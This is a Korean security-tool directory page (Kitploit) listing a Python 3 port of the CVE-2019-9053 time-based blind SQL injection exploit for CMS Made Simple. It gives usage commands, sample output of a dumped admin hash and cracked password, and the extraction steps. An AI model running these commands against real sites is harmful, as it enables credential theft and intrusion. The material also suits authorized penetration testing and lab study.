Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-9053 — CMS Made Simple CVE-2019-9053 익스플로잇 (Python 3) | Kitploit
도구/GitHubGitHub/v4rr10r/cve-2019-9053
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubv4rr10r/cve-2019-9053

CVE-2019-9053

CMS Made Simple CVE-2019-9053 익스플로잇 (Python 3)

저장소 보기
155개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-9053 — CMS Made Simple SQL 인젝션 (Python 3)

CMS Made Simple <= 2.2.9를 대상으로 하는 시간 기반 블라인드 SQL 인젝션 익스플로잇의 Python 3 포팅 버전입니다.
원본 익스플로잇: Daniele Scanu @ Certimeter Group


취약점

필드세부 정보
CVECVE-2019-9053
영향받는 소프트웨어CMS Made Simple <= 2.2.9
취약점 유형인증 불필요 시간 기반 블라인드 SQL 인젝션
공격 벡터네트워크 (인증 불필요)
파라미터News 모듈의 m1_idlist

News 모듈은 m1_idlist GET 파라미터를 적절히 정제하지 않아, 인증되지 않은 공격자가 시간 지연을 이용해 데이터베이스에서 민감한 데이터를 한 글자씩 추출할 수 있습니다.


요구 사항

  • Python 3.6+
  • pip 패키지:
pip install requests termcolor

사용법

기본 — 자격 증명만 덤프

python3 CVE-2019-9053_py3.py -u http://target/cms

비밀번호 크래킹과 함께

python3 CVE-2019-9053_py3.py -u http://target/cms --crack -w /path/to/wordlist.txt

전체 옵션

python3 CVE-2019-9053_py3.py --help
플래그설명
-u, --url대상 CMS Made Simple 설치의 기본 URL
-w, --wordlist비밀번호 크래킹에 사용할 워드리스트 파일 경로
-c, --crack비밀번호 크래킹 모드 활성화 (-w 필요)

예시

python3 CVE-2019-9053_py3.py -u http://10.49.164.146/simple/ --crack -w /usr/share/wordlists/rockyou.txt

예상 출력:

[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: password123

동작 방식

  1. Salt 덤프 — cms_siteprefs 테이블에서 sitemask 값(비밀번호 salt)을 조회합니다
  2. 사용자 이름 덤프 — cms_users에서 user_id = 1의 사용자 이름을 추출합니다
  3. 이메일 덤프 — cms_users에서 user_id = 1의 이메일을 추출합니다
  4. 비밀번호 덤프 — cms_users에서 user_id = 1의 MD5 비밀번호 해시를 추출합니다
  5. 크래킹 (선택) — 각 줄에 대해 MD5(salt + wordlist_entry)를 계산하고 덤프된 해시와 비교합니다

인젝션은 SELECT SLEEP(N)을 사용하여 각 문자를 추론합니다 — 응답이 지연되면 추측한 문자가 올바른 것입니다.

팁: 스크립트가 느리거나 불안정하다면, 네트워크 지연을 고려하여 스크립트 내부의 TIME 변수를 늘리세요.


원본 대비 Python 3 변경 사항

변경 사항세부 정보
print 문print() 함수로 변환
optparseargparse로 대체 (optparse는 Python 3에서 사용 중단됨)
hashlib.md5()입력이 이제 .encode('utf-8')을 통해 바이트로 인코딩됨
파일 읽기.readlines()를 with 블록과 .strip()으로 대체

참고 자료

  • Exploit-DB #46635 — 원본 익스플로잇
  • NVD — CVE-2019-9053
  • CMS Made Simple

라이선스

이 프로젝트는 교육 목적으로만 사용됩니다. 라이선스 조건은 Exploit-DB의 원본 익스플로잇을 참조하세요.

도구 다운로드